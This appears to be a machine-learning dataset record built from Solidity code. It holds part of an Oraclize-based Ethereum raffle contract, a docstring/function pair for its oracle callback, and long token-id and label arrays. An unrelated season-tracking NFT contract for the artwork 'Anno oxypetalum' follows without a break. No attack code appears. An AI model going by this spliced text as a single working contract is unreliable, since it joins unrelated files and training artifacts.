res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; assert (to.length >= minLength); // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } } library Math { function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract RewardDistributable { event TokensRewarded(address indexed player, address rewardToken, uint rewards, address requester, uint gameId, uint block); event ReferralRewarded(address indexed referrer, address indexed player, address rewardToken, uint rewards, uint gameId, uint block); event ReferralRegistered(address indexed player, address indexed referrer); /// @dev Calculates and transfers the rewards to the player. function transferRewards(address player, uint entryAmount, uint gameId) public; /// @dev Returns the total number of tokens, across all approvals. function getTotalTokens(address tokenAddress) public constant returns(uint); /// @dev Returns the total number of supported reward token contracts. function getRewardTokenCount() public constant returns(uint); /// @dev Gets the total number of approvers. function getTotalApprovers() public constant returns(uint); /// @dev Gets the reward rate inclusive of referral bonus. function getRewardRate(address player, address tokenAddress) public constant returns(uint); /// @dev Adds a requester to the whitelist. /// @param requester The address of a contract which will request reward transfers function addRequester(address requester) public; /// @dev Removes a requester from the whitelist. /// @param requester The address of a contract which will request reward transfers function removeRequester(address requester) public; /// @dev Adds a approver address. Approval happens with the token contract. /// @param approver The approver address to add to the pool. function addApprover(address approver) public; /// @dev Removes an approver address. /// @param approver The approver address to remove from the pool. function removeApprover(address approver) public; /// @dev Updates the reward rate function updateRewardRate(address tokenAddress, uint newRewardRate) public; /// @dev Updates the token address of the payment type. function addRewardToken(address tokenAddress, uint newRewardRate) public; /// @dev Updates the token address of the payment type. function removeRewardToken(address tokenAddress) public; /// @dev Updates the referral bonus rate function updateReferralBonusRate(uint newReferralBonusRate) public; /// @dev Registers the player with the given referral code /// @param player The address of the player /// @param referrer The address of the referrer function registerReferral(address player, address referrer) public; /// @dev Transfers any tokens to the owner function destroyRewards() public; } contract Priceable { modifier costsExactly(uint price) { if (msg.value == price) { _; } } modifier costs(uint price) { if (msg.value >= price) { _; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Cascading is Ownable { using SafeMath for uint256; struct Cascade { address cascade; uint16 percentage; } uint public totalCascadingPercentage; Cascade[] public cascades; /// @dev Adds an address and associated percentage for transfer. /// @param newAddress The new address function addCascade(address newAddress, uint newPercentage) public onlyOwner { cascades.push(Cascade(newAddress, uint16(newPercentage))); totalCascadingPercentage += newPercentage; } /// @dev Deletes an address and associated percentage at the given index. /// @param index The index of the cascade to be deleted. function deleteCascade(uint index) public onlyOwner { require(index < cascades.length); totalCascadingPercentage -= cascades[index].percentage; cascades[index] = cascades[cascades.length - 1]; delete cascades[cascades.length - 1]; cascades.length--; } /// @dev Transfers the cascade values to the assigned addresses /// @param totalJackpot the total jackpot amount function transferCascades(uint totalJackpot) internal { for (uint i = 0; i < cascades.length; i++) { uint cascadeTotal = getCascadeTotal(cascades[i].percentage, totalJackpot); // Should be safe from re-entry given gas limit of 2300. cascades[i].cascade.transfer(cascadeTotal); } } /// @dev Gets the cascade total for the given percentage /// @param percentage the percentage of the total pot as a uint /// @param totalJackpot the total jackpot amount /// @return the total amount the percentage represents function getCascadeTotal(uint percentage, uint totalJackpot) internal pure returns(uint) { return totalJackpot.mul(percentage).div(100); } /// A utility method to calculate the total after cascades have been applied. /// @param totalJackpot the total jackpot amount /// @return the total amount after the cascades have been applied function getTotalAfterCascades(uint totalJackpot) internal constant returns (uint) { uint cascadeTotal = getCascadeTotal(totalCascadingPercentage, totalJackpot); return totalJackpot.sub(cascadeTotal); } } contract SafeWinner is Ownable { using SafeMath for uint256; mapping(address => uint) public pendingPayments; address[] public pendingWinners; uint public totalPendingPayments; event WinnerWithdrew(address indexed winner, uint amount, uint block); /// @dev records the winner so that a transfer or withdraw can occur at /// a later date. function addPendingWinner(address winner, uint amount) internal { pendingPayments[winner] = pendingPayments[winner].add(amount); totalPendingPayments = totalPendingPayments.add(amount); pendingWinners.push(winner); } /// @dev allows a winner to withdraw their rightful jackpot. function withdrawWinnings() public { address winner = msg.sender; uint payment = pendingPayments[winner]; require(payment > 0); require(this.balance >= payment); transferPending(winner, payment); } /// @dev Retries all pending winners function retryWinners() public onlyOwner { for (uint i = 0; i < pendingWinners.length; i++) { retryWinner(i); } pendingWinners.length = 0; } function retryWinner(uint index) public onlyOwner { address winner = pendingWinners[index]; uint payment = pendingPayments[winner]; require(this.balance >= payment); if (payment != 0) { transferPending(winner, payment); } } function transferPending(address winner, uint256 payment) internal { totalPendingPayments = totalPendingPayments.sub(payment); pendingPayments[winner] = 0; winner.transfer(payment); WinnerWithdrew(winner, payment, block.number); } } contract Raffle is Ownable, Priceable, SafeWinner, Cascading { using SafeMath for uint256; using OraclizeLib for OraclizeLib.OraclizeData; enum RaffleState { Active, InActive, PendingInActive } enum RandomSource { RandomDS, Qrng } struct Jackpot { uint absoluteTotal; uint feeTotal; uint cascadeTotal; uint winnerTotal; } struct TicketHolder { address purchaser; uint16 count; uint80 runningTotal; } // public RaffleState public raffleState; RandomSource public randomSource; uint public ticketPrice; uint public gameId; uint public fee; // internal TicketHolder[] internal ticketHolders; uint internal randomBytes; uint internal randomQueried; uint internal callbackGas; RewardDistributable internal rewardDistributor; // oraclize OraclizeLib.OraclizeData oraclizeData; // events event TicketPurchased(address indexed ticketPurchaser, uint indexed id, uint numTickets, uint totalCost, uint block); event WinnerSelected(address indexed winner, uint indexed id, uint winnings, uint block); event RandomProofFailed(bytes32 queryId, uint indexed id, uint block); function Raffle(uint _ticketPrice, address _rewardDistributor) public { ticketPrice = _ticketPrice; raffleState = RaffleState.Active; callbackGas = 200000; randomBytes = 8; fee = 5 finney; rewardDistributor = RewardDistributable(_rewardDistributor); oraclizeData.initializeOraclize(); randomSource = RandomSource.Qrng; resetRaffle(); } /// @dev Returns whether the game is active. function isActive() public constant returns (bool) { return raffleState == RaffleState.Active || raffleState == RaffleState.PendingInActive; } /// @dev Fallback function to purchase a single ticket. function () public payable { } /// @dev Gets the projected jackpot. /// @return The projected jackpot amount. function getProjectedJackpot() public constant returns (uint) { uint jackpot = getAbsoluteProjectedJackpot(); Jackpot memory totals = getJackpotTotals(jackpot); return totals.winnerTotal; } /// @dev Gets the actual jackpot /// @return The actual jackpot amount. function getJackpot() public constant returns (uint) { uint jackpot = getAbsoluteJackpot(); Jackpot memory totals = getJackpotTotals(jackpot); return totals.winnerTotal; } /// @dev Gets the ticket holder count /// @return The total ticket holder count function getTicketHolderCount() public constant returns (uint) { return getTotalTickets(); } /// @dev Updates the ticket price. function updateTicketPrice(uint updatedPrice) public onlyOwner { require(raffleState == RaffleState.InActive); require(updatedPrice > 0); ticketPrice = updatedPrice; } /// @dev Updates the ticket price. function updateFee(uint updatedFee) public onlyOwner { require(updatedFee > 0); fee = updatedFee; } /// @dev Deactivates the raffle after the next game. function deactivate() public onlyOwner { require(raffleState == RaffleState.Active); raffleState = ticketHolders.length == 0 ? RaffleState.InActive : RaffleState.PendingInActive; } /// @dev Activates the raffle, if inactivated. function activate() public onlyOwner { require(raffleState == RaffleState.InActive); raffleState = RaffleState.Active; } /// The oraclize callback function. function __callback(bytes32 queryId, string result, bytes proof) public { require(msg.sender == oraclizeData.oraclize_cbAddress()); // We only expect this for this callback if (oraclizeData.oraclize_randomDS_proofVerify__returnCode(queryId, result, proof) != 0) { RandomProofFailed(queryId, gameId, now); randomQueried = 0; return; } __callback(queryId, result); } /// The oraclize callback function. function __callback(bytes32 queryId, string result) public { require(msg.sender == oraclizeData.oraclize_cbAddress()); // Guard against the case where oraclize is triggered, or calls back multiple times. if (!shouldChooseWinner()) { return; } uint maxRange = 2**(8*randomBytes); uint randomNumber = uint(keccak256(result)) % maxRange; winnerSelected(randomNumber); } /// @dev An administrative function to allow in case the proof fails or /// a random winner needs to be chosen again. function forceChooseRandomWinner() public onlyOwner { require(raffleState != RaffleState.InActive); executeRandomQuery(); } /// @dev Forces a refund for all participants and deactivates the contract /// This offers a full refund, so it will be up to the owner to ensure a full balance. function forceRefund() public onlyOwner { raffleState = RaffleState.PendingInActive; uint total = getTotalTickets() * ticketPrice; require(this.balance > total); for (uint i = 0; i < ticketHolders.length; i++) { TicketHolder storage holder = ticketHolders[i]; holder.purchaser.transfer(uint256(holder.count).mul(ticketPrice)); } resetRaffle(); } /// @dev Destroys the current contract and moves all ETH back to function updateRewardDistributor(address newRewardDistributor) public onlyOwner { rewardDistributor = RewardDistributable(newRewardDistributor); } /// @dev Destroys the current contract and moves all ETH back to /// owner. Only can occur after state has been set to inactive. function destroy() public onlyOwner { require(raffleState == RaffleState.InActive); selfdestruct(owner); } /// Gets the projected jackpot prior to any fees /// @return The projected jackpot prior to any fees function getAbsoluteProjectedJackpot() internal constant returns (uint); /// Gets the actual jackpot prior to any fees /// @return The actual jackpot amount prior to any fees. function getAbsoluteJackpot() internal constant returns (uint); /// An abstract function which determines whether a it is appropriate to choose a winner. /// @return True if it is appropriate to choose the winner, false otherwise. function shouldChooseWinner() internal returns (bool); function executeRandomQuery() internal { if (randomSource == RandomSource.RandomDS) { oraclizeData.oraclize_newRandomDSQuery(0, randomBytes, callbackGas); } else { oraclizeData.oraclize_query("URL","json(https://qrng.anu.edu.au/API/jsonI.php?length=1&type=hex16&size=32).data[0]", callbackGas); } } /// Chooses the winner at random. function chooseWinner() internal { // We build in a buffer of 20 blocks. Approx 1 block per 15 secs ~ 5 mins // the last time random was queried, we'll execute again. if (randomQueried < (block.number.sub(20))) { executeRandomQuery(); randomQueried = block.number; } } /// Internal function for when a winner is chosen. function winnerSelected(uint randomNumber) internal { TicketHolder memory winner = getWinningTicketHolder(randomNumber); uint jackpot = getAbsoluteJackpot(); Jackpot memory jackpotTotals = getJackpotTotals(jackpot); WinnerSelected(winner.purchaser, gameId, jackpotTotals.winnerTotal, now); transferJackpot(winner.purchaser, jackpotTotals.winnerTotal); transferCascades(jackpotTotals.absoluteTotal); resetRaffle(); } function getWinningTicketHolder(uint randomNumber) internal view returns(TicketHolder) { assert(ticketHolders.length > 0); uint totalTickets = getTotalTickets(); uint winner = (randomNumber % totalTickets) + 1; uint min = 0; uint max = ticketHolders.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (ticketHolders[mid].runningTotal >= winner && (ticketHolders[mid].runningTotal-ticketHolders[mid].count) < winner) { return ticketHolders[mid]; } if (ticketHolders[mid].runningTotal <= winner) { min = mid; } else { max = mid-1; } } return ticketHolders[min]; } /// Transfers the jackpot to the winner triggering the event function transferJackpot(address winner, uint jackpot) internal returns(uint) { // We explicitly do not use transfer here because if the // the call fails, the oraclize contract will not retry. bool sendSuccessful = winner.send(jackpot); if (!sendSuccessful) { addPendingWinner(winner, jackpot); } return jackpot; } /// Resets the raffle game state. function resetRaffle() internal { if (raffleState == RaffleState.PendingInActive) { raffleState = RaffleState.InActive; } ticketHolders.length = 0; gameId = block.number; randomQueried = 0; } /// Gets the jackpot after fees function getJackpotTotals(uint jackpot) internal constant returns(Jackpot) { if (jackpot < fee) { return Jackpot(0, 0, 0, 0); } uint cascadeTotal = getCascadeTotal(totalCascadingPercentage, jackpot); return Jackpot(jackpot, fee, cascadeTotal, jackpot.sub(fee).sub(cascadeTotal)); } function updateRandomSource(uint newRandomSource) public onlyOwner { if (newRandomSource == 1) { randomSource = RandomSource.RandomDS; } else { randomSource = RandomSource.Qrng; } setProof(); } function setProof() internal { if (randomSource == RandomSource.RandomDS) { // proofType_Ledger = 0x30; oraclizeData.oraclize_setProof(0x30); } else { oraclizeData.oraclize_setProof(0x00); } } function getTotalTickets() internal view returns(uint) { return ticketHolders.length == 0 ? 0 : ticketHolders[ticketHolders.length-1].runningTotal; } function updateOraclizeGas(uint newCallbackGas, uint customGasPrice) public onlyOwner { callbackGas = newCallbackGas; updateCustomGasPrice(customGasPrice); } function updateCustomGasPrice(uint customGasPrice) internal { oraclizeData.oraclize_setCustomGasPrice(customGasPrice); } } contract CountBasedRaffle is Raffle { uint public drawTicketCount; /// @dev Constructor for conventional raffle /// @param _ticketPrice The ticket price. /// @param _drawTicketCount The number of tickets for a draw to take place. function CountBasedRaffle(uint _ticketPrice, uint _drawTicketCount, address _rewardDistributor) Raffle(_ticketPrice, _rewardDistributor) public { drawTicketCount = _drawTicketCount; } /// @dev Gets the projected jackpot. function getAbsoluteProjectedJackpot() internal constant returns (uint) { uint totalTicketCount = getTotalTickets(); uint ticketCount = drawTicketCount > totalTicketCount ? drawTicketCount : totalTicketCount; return ticketCount.mul(ticketPrice); } /// @dev Gets the actual jackpot function getAbsoluteJackpot() internal constant returns (uint) { if (ticketHolders.length == 0) { return 0; } return this.balance.sub(totalPendingPayments); } /* @dev Purchases tickets to the raffle. * @param numTickets Number of tickets to purchase. * @param referrer The address of the referrer. */ function purchaseTicket(uint numTickets, address referrer) public payable costsExactly(numTickets.mul(ticketPrice)) { require(raffleState != RaffleState.InActive); require(numTickets < drawTicketCount); // Add the address to the ticketHolders. uint totalTickets = getTotalTickets(); ticketHolders.push(TicketHolder(msg.sender, uint16(numTickets), uint80(totalTickets.add(numTickets)))); TicketPurchased(msg.sender, gameId, numTickets, ticketPrice.mul(numTickets), now); if (rewardDistributor != address(0)) { rewardDistributor.registerReferral(msg.sender, referrer); rewardDistributor.transferRewards(msg.sender, msg.value, gameId); } if (shouldChooseWinner()) { chooseWinner(); } } /// An abstract function which determines whether a it is appropriate to choose a winner. /// @return True if it is appropriate to choose the winner, false otherwise. function shouldChooseWinner() internal returns (bool) { return getTotalTickets() >= drawTicketCount; } } contract GoldRaffle is CountBasedRaffle { /// @dev Constructor for conventional raffle /// Should reach jackpot of ~ 1.5 ETH function GoldRaffle(address _rewardDistributor) CountBasedRaffle(100 finney, 10, _rewardDistributor) public { } } contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) public payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) public payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) public payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) public payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) public; function setConfig(bytes32 _config) public; function setCustomGasPrice(uint _gasPrice) public; function randomDS_getSessionPubKeyHash() public returns(bytes32); }
The oraclize callback function. We only expect this for this callback
function __callback(bytes32 queryId, string result, bytes proof) public { require(msg.sender == oraclizeData.oraclize_cbAddress()); if (oraclizeData.oraclize_randomDS_proofVerify__returnCode(queryId, result, proof) != 0) { RandomProofFailed(queryId, gameId, now); randomQueried = 0; return; } __callback(queryId, result); }
12,742,295
[ 1, 1986, 578, 10150, 554, 1348, 445, 18, 1660, 1338, 4489, 333, 364, 333, 1348, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1001, 3394, 12, 3890, 1578, 843, 548, 16, 533, 563, 16, 1731, 14601, 13, 1071, 288, 203, 565, 2583, 12, 3576, 18, 15330, 422, 578, 10150, 554, 751, 18, 280, 10150, 554, 67, 7358, 1887, 10663, 203, 377, 203, 565, 309, 261, 280, 10150, 554, 751, 18, 280, 10150, 554, 67, 9188, 3948, 67, 24207, 8097, 972, 2463, 1085, 12, 2271, 548, 16, 563, 16, 14601, 13, 480, 374, 13, 288, 203, 1377, 8072, 20439, 2925, 12, 2271, 548, 16, 7920, 548, 16, 2037, 1769, 203, 1377, 2744, 928, 264, 2092, 273, 374, 31, 203, 1377, 327, 31, 203, 565, 289, 203, 203, 565, 1001, 3394, 12, 2271, 548, 16, 563, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @artist: Anna Ridler /// @author: manifold.xyz import "@prb/math/contracts/PRBMathSD59x18.sol"; import "./libraries/Trigonometry.sol"; import "./libraries/BokkyPooBahsDateTimeLibrary.sol"; import "./dynamic/DynamicArweaveHash.sol"; import "./extensions/ERC721/IERC721CreatorExtensionApproveTransfer.sol"; contract AnnoOxypetalum is DynamicArweaveHash, IERC721CreatorExtensionApproveTransfer { using PRBMathSD59x18 for int256; uint256 private _baseTokenId; uint8 private _seasonOnLastTransfer; // Seasons uint8 constant private _WINTER = 0; uint8 constant private _SPRING = 1; uint8 constant private _SUMMER = 2; uint8 constant private _FALL = 3; // Constants int256 constant private _DAY_IN_SECONDS = 86400000000000000000000; int256 constant private _JULIAN_EPOCH = 2440587500000000000000000; int256 constant private _JULIAN_2000 = 2451545000000000000000000; int256 constant private _JULIAN_CENTURY = 36525000000000000000000; int256 immutable _D2R = PRBMathSD59x18.pi().div(180000000000000000000); // In-memory Arrays function _springConstants() private pure returns (int256[5] memory) { int256[5] memory constants = [int(2451623809840000000000000), 365242374040000000000000, 51690000000000000, -4110000000000000, -570000000000000]; return constants; } function _summerConstants() private pure returns (int256[5] memory) { int256[5] memory constants = [int(2451716567670000000000000), 365241626030000000000000, 3250000000000000, 8880000000000000, -300000000000000]; return constants; } function _fallConstants() private pure returns (int256[5] memory) { int256[5] memory constants = [int(2451810217150000000000000), 365242017670000000000000, -115750000000000000, 3370000000000000, 780000000000000]; return constants; } function _winterConstants() private pure returns (int256[5] memory) { int256[5] memory constants = [int(2451900059520000000000000), 365242740490000000000000, -62230000000000000, -8230000000000000, 320000000000000]; return constants; } function _termsConstants() private pure returns (int256[3][24] memory) { int256[3][24] memory constants = [ [int(485000000000000000000), 324960000000000000000, 1934136000000000000000], [int(203000000000000000000), 337230000000000000000, 32964467000000000000000], [int(199000000000000000000), 342080000000000000000, 20186000000000000000], [int(182000000000000000000), 27850000000000000000, 445267112000000000000000], [int(156000000000000000000), 73140000000000000000, 45036886000000000000000], [int(136000000000000000000), 171520000000000000000, 22518443000000000000000], [int(77000000000000000000), 222540000000000000000, 65928934000000000000000], [int(74000000000000000000), 296720000000000000000, 3034906000000000000000], [int(70000000000000000000), 243580000000000000000, 9037513000000000000000], [int(58000000000000000000), 119810000000000000000, 33718147000000000000000], [int(52000000000000000000), 297170000000000000000, 150678000000000000000], [int(50000000000000000000), 21020000000000000000, 2281226000000000000000], [int(45000000000000000000), 247540000000000000000, 29929562000000000000000], [int(44000000000000000000), 325150000000000000000, 31555956000000000000000], [int(29000000000000000000), 60930000000000000000, 4443417000000000000000], [int(18000000000000000000), 155120000000000000000, 67555328000000000000000], [int(17000000000000000000), 288790000000000000000, 4562452000000000000000], [int(16000000000000000000), 198040000000000000000, 62894029000000000000000], [int(14000000000000000000), 199760000000000000000, 31436921000000000000000], [int(12000000000000000000), 95390000000000000000, 14577848000000000000000], [int(12000000000000000000), 287110000000000000000, 31931756000000000000000], [int(12000000000000000000), 320810000000000000000, 34777259000000000000000], [int(9000000000000000000), 227730000000000000000, 1222114000000000000000], [int(8000000000000000000), 15450000000000000000, 16859074000000000000000] ]; return constants; } constructor(address creator) ERC721SingleCreatorExtension(creator) {} function supportsInterface(bytes4 interfaceId) public view virtual override(DynamicArweaveHash, IERC165) returns (bool) { return interfaceId == type(IERC721CreatorExtensionApproveTransfer).interfaceId || super.supportsInterface(interfaceId); } function mint(address to) public virtual onlyOwner returns(uint256) { require(_baseTokenId == 0, "Already minted"); _baseTokenId = _mint(to); return _baseTokenId; } function setApproveTransfer(address creator, bool enabled) public override onlyOwner { IERC721CreatorCore(creator).setApproveTransferExtension(enabled); } function approveTransfer(address, address, uint256) public override returns (bool) { require(msg.sender == _creator, "Invalid requester"); _seasonOnLastTransfer = _currentSeason(); return true; } function tokenURI(address, uint256 tokenId) external view override returns (string memory) { return string(abi.encodePacked( 'data:application/json;utf8,{"name":"',_getName(), '", "description":"',_getDescription(), '", "image":"https://arweave.net/',_getImageHash(tokenId), '", "animation_url":"https://arweave.net/',_getAnimationHash(tokenId), '", "attributes":[', _wrapTrait("Artist", "Anna Ridler"), ']', '}')); } function _getName() internal pure override returns(string memory) { return "Anno oxypetalum"; } function _getDescription() internal pure override returns(string memory) { return "Anno oxypetalum (literally \\\"the year of the pointed petals\\\") is a clock made of the flowers of " "night-blooming cacti, tracking the amount of light across one year. Each flower represents 10 minutes, " "each second approximately 2 days. Over the course of the piece the flowers fade in and out as the light " "ebbs and flows across the seasons. The timing of dawn and dusk is precisely accurate for London starting " "at the 2021 winter solstice. A third level of time is also incorporated into the work - when the piece " "is sold, the smart contract is programmed to start the video at the beginning of the season in which it " "was sold. The smart contract is able to accurately compute the solstices and equinoxes until the year " "3000. It is inspired by plants\' chrono-biological clocks, by which they bloom and close at fixed times " "of day. Plants behave this way regardless of external stimuli - a night-blooming cactus, for example, " "will only bloom at night, even if it is exposed to darkness during the daytime and light at night; a " "morning glory moved into permanent darkness will still flower in the mornings. The work call backs to " "Carl Linnaeus\' idea of a horologium florae or floral clock, proposed in his Philosophia Botanica in " "1751 after observing the phenomenon of certain flowers opening and closing at set times of the day, " "and harkens back to an earlier, medieval way of delineating time according to the amount of daylight " "present, before the advent of modern timekeeping."; } function _getImageHash(uint256) internal view override returns(string memory) { return imageArweaveHashes[_seasonOnLastTransfer]; } function _getAnimationHash(uint256) internal view override returns(string memory) { return animationArweaveHashes[_seasonOnLastTransfer]; } function _wrapTrait(string memory trait, string memory value) internal pure returns(string memory) { return string(abi.encodePacked( '{"trait_type":"', trait, '","value":"', value, '"}' )); } function _currentSeason() private view returns (uint8) { int256 year = _timestampToYear(block.timestamp); int256 month = _timestampToMonth(block.timestamp); int256 julianDay = _timestampToJulianDay(block.timestamp); int256[3][24] memory terms = _termsConstants(); if (month < 3) { return _WINTER; } else if (month == 3) { return julianDay < _springEquinox(year, terms) ? _WINTER : _SPRING; } else if (month < 6) { return _SPRING; } else if (month == 6) { return julianDay < _summerSolstice(year, terms) ? _SPRING : _SUMMER; } else if (month < 9) { return _SUMMER; } else if (month == 9) { return julianDay < _fallEquinox(year, terms) ? _SUMMER : _FALL; } else if (month < 12) { return _FALL; } return julianDay < _winterSolstice(year, terms) ? _FALL : _WINTER; } function _springEquinox(int256 year, int256[3][24] memory terms) private view returns (int256) { return _eventJulianDay(year - 2000000000000000000000, _springConstants(), terms); } function _summerSolstice(int256 year, int256[3][24] memory terms) private view returns (int256) { return _eventJulianDay(year - 2000000000000000000000, _summerConstants(), terms); } function _fallEquinox(int256 year, int256[3][24] memory terms) private view returns (int256) { return _eventJulianDay(year - 2000000000000000000000, _fallConstants(), terms); } function _winterSolstice(int256 year, int256[3][24] memory terms) private view returns (int256) { return _eventJulianDay(year - 2000000000000000000000, _winterConstants(), terms); } function _eventJulianDay(int256 year, int256[5] memory eventConstants, int256[3][24] memory terms) private view returns (int256) { int256 J0 = _horner(year.mul(1000000000000000), eventConstants); int256 T = _J2000Century(J0); int256 W = _D2R.mul(T).mul(35999373000000000000000) - _D2R.mul(2470000000000000000); int256 dL = 1000000000000000000 + Trigonometry.cos(uint(W)).mul(33400000000000000) + Trigonometry.cos(uint(W.mul(2000000000000000000))).mul(700000000000000); int256 S = 0; for (uint256 i = 24; i > 0; i--) { int256[3] memory t = terms[i-1]; S += t[0].mul(Trigonometry.cos(uint((t[1] + T.mul(t[2])).mul(_D2R)))); } return J0 + S.div(dL).mul(10000000000000); } function _horner(int256 x, int256[5] memory c) private pure returns (int256) { uint256 i = c.length - 1; int256 y = c[i]; while (i > 0) { i--; y = y.mul(x) + c[i]; } return y; } function _J2000Century(int256 jde) private pure returns (int256) { return (jde - _JULIAN_2000).div(_JULIAN_CENTURY); } function _timestampToYear(uint256 timestamp) private pure returns (int256) { return PRBMathSD59x18.fromInt(int(BokkyPooBahsDateTimeLibrary.getYear(timestamp))); } function _timestampToMonth(uint256 timestamp) private pure returns (int256) { return int(BokkyPooBahsDateTimeLibrary.getMonth(timestamp)); } function _timestampToJulianDay(uint256 timestamp) private pure returns (int256) { return PRBMathSD59x18.fromInt(int(timestamp)).div(_DAY_IN_SECONDS) + _JULIAN_EPOCH; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * Implement this if you want your extension to approve a transfer */ interface IERC721CreatorExtensionApproveTransfer is IERC165 { /** * @dev Set whether or not the creator will check the extension for approval of token transfer */ function setApproveTransfer(address creator, bool enabled) external; /** * @dev Called by creator contract to approve a transfer */ function approveTransfer(address from, address to, uint256 tokenId) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/access/Ownable.sol"; 